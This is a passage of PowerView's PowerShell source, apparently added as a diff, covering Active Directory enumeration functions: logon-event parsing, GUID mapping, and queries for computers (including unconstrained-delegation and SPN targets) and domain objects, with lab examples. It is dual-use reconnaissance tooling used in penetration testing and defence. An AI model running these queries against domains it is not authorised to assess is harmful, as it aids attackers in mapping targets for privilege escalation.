$Properties[22].Value + TargetOutboundDomainName = $Properties[23].Value + VirtualAccount = $Properties[24].Value + TargetLinkedLogonId = $Properties[25].Value + ElevatedToken = $Properties[26].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent') + $Output + } + } + + # logon with explicit credential + 4648 { + # skip computer logons, for now... + if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + LogonGuid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonGuid = $Properties[7].Value + TargetServerName = $Properties[8].Value + TargetInfo = $Properties[9].Value + ProcessId = $Properties[10].Value + ProcessName = $Properties[11].Value + IpAddress = $Properties[12].Value + IpPort = $Properties[13].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') + $Output + } + } + default { + Write-Warning "No handler exists for event ID: $($Event.Id)" + } + } + } + } + } +} + + +function Get-DomainGUIDMap { +<# +.SYNOPSIS + +Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-Forest + +.DESCRIPTION + +Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for +all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names. +Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local) +for objects where objectClass=controlAccessRight, translating the GUIDs again. + +Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable containing a GUID -> Readable Name mapping. + +.LINK + +http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + + $ForestArguments = @{} + if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } + + try { + $SchemaPath = (Get-Forest @ForestArguments).schema.name + } + catch { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + if (-not $SchemaPath) { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + + $SearcherArguments = @{ + 'SearchBase' = $SchemaPath + 'LDAPFilter' = '(schemaIDGUID=*)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SchemaSearcher = Get-DomainSearcher @SearcherArguments + + if ($SchemaSearcher) { + try { + $Results = $SchemaSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } + $SchemaSearcher.dispose() + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } + } + + $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') + $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' + $RightsSearcher = Get-DomainSearcher @SearcherArguments + + if ($RightsSearcher) { + try { + $Results = $RightsSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } + $RightsSearcher.dispose() + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } + } + + $GUIDs +} + + +function Get-DomainComputer { +<# +.SYNOPSIS + +Return all computers or specific computer objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all computer objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER Unconstrained + +Switch. Return computer objects that have unconstrained delegation. + +.PARAMETER TrustedToAuth + +Switch. Return computer objects that are trusted to authenticate for other principals. + +.PARAMETER Printers + +Switch. Return only printers. + +.PARAMETER SPN + +Return computers with a specific service principal name, wildcards accepted. + +.PARAMETER OperatingSystem + +Return computers with a specific operating system, wildcards accepted. + +.PARAMETER ServicePack + +Return computers with a specific service pack, wildcards accepted. + +.PARAMETER SiteName + +Return computers in the specific AD Site name, wildcards accepted. + +.PARAMETER Ping + +Switch. Ping each host to ensure it's up before enumerating. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainComputer + +Returns the current computers in current domain. + +.EXAMPLE + +Get-DomainComputer -SPN mssql* -Domain testlab.local + +Returns all MS SQL servers in the testlab.local domain. + +.EXAMPLE + +Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname + +Return the dns hostnames of servers trusted for delegation. + +.EXAMPLE + +Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained + +Search the specified OU for computeres that allow unconstrained delegation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainComputer -Credential $Cred + +.OUTPUTS + +PowerView.Computer + +Custom PSObject with translated computer property fields. + +PowerView.Computer.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [OutputType('PowerView.Computer')] + [OutputType('PowerView.Computer.Raw')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [Switch] + $Unconstrained, + + [Switch] + $TrustedToAuth, + + [Switch] + $Printers, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePrincipalName')] + [String] + $SPN, + + [ValidateNotNullOrEmpty()] + [String] + $OperatingSystem, + + [ValidateNotNullOrEmpty()] + [String] + $ServicePack, + + [ValidateNotNullOrEmpty()] + [String] + $SiteName, + + [Switch] + $Ping, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $CompSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + + if ($CompSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $CompSearcher = Get-DomainSearcher @SearcherArguments + if (-not $CompSearcher) { + Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + else { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['Unconstrained']) { + Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['Printers']) { + Write-Verbose '[Get-DomainComputer] Searching for printers' + $Filter += '(objectCategory=printQueue)' + } + if ($PSBoundParameters['SPN']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if ($PSBoundParameters['OperatingSystem']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" + $Filter += "(operatingsystem=$OperatingSystem)" + } + if ($PSBoundParameters['ServicePack']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + if ($PSBoundParameters['SiteName']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" + $Filter += "(serverreferencebl=$SiteName)" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" + Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } + else { $Results = $CompSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Up = $True + if ($PSBoundParameters['Ping']) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + } + if ($Up) { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Computer = $_ + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') + } + else { + $Computer = Convert-LDAPProperty -Properties $_.Properties + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') + } + $Computer + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" + } + } + $CompSearcher.dispose() + } + } +} + + +function Get-DomainObject { +<# +.SYNOPSIS + +Return all (or specified) domain objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainObject -Domain testlab.local + +Return all objects for the testlab.local domain + +.EXAMPLE + +'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname + +distinguishedname +----------------- +CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local +CN=dfm,CN=Users,DC=testlab,DC=local +OU=OU3,DC=testlab,DC=local +CN=dfm (admin),CN=Users,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObject -Credential $Cred -Identity 'windows1' + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) + +distinguishedname +----------------- +CN=harmj0y,CN=Users,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +.OUTPUTS + +PowerView.ADObject + +Custom PSObject with translated AD object property fields. + +PowerView.ADObject.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObject')] + [OutputType('PowerView.ADObject.Raw')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + if ($ObjectSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + if (-not $ObjectSearcher) { + Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $ObjectName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$ObjectName)" + $SearcherArguments['Domain'] = $ObjectDomain + Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + if ($Filter -and $Filter -ne '') { + $ObjectSearcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } + else { $Results = $ObjectSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + $Object + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" + } + } + $ObjectSearcher.dispose() + } + } +} + + +function Get-DomainObjectAttributeHistory { +<# +.SYNOPSIS + +Returns the Active Directory attribute replication metadata for the specified +object, i.e. a parsed version of the msds-replattributemetadata attribute. +By default, replication data for every domain object is returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'. +This is the domain attribute replication metadata associated with the object. The results are +parsed from their XML string form and returned as a custom object. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Only return replication metadata on the specified property names. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectAttributeHistory -Domain testlab.local + +Return all attribute replication metadata for all objects in the testlab.local domain. + +.EXAMPLE + +'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft + +ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat + e ingChange ingDsaDN +-------- ---------- ------------ ------------ ------- ------------ +CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S... +CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S... +CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S... + +.EXAMPLE + +Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl + +ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local +ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb +AttributeName : userAccountControl +LastOriginatingChange : 2017-03-07T19:56:27Z +Version : 4 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + 